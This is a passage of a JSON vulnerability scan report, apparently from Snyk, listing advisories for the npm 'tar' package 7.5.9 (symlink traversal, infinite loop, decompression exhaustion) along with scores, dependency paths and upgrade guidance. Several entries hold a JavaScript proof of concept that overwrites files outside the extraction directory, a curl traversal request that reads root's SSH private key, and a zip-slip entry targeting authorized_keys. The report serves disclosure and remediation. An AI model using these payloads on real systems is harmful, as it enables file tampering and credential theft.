"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": 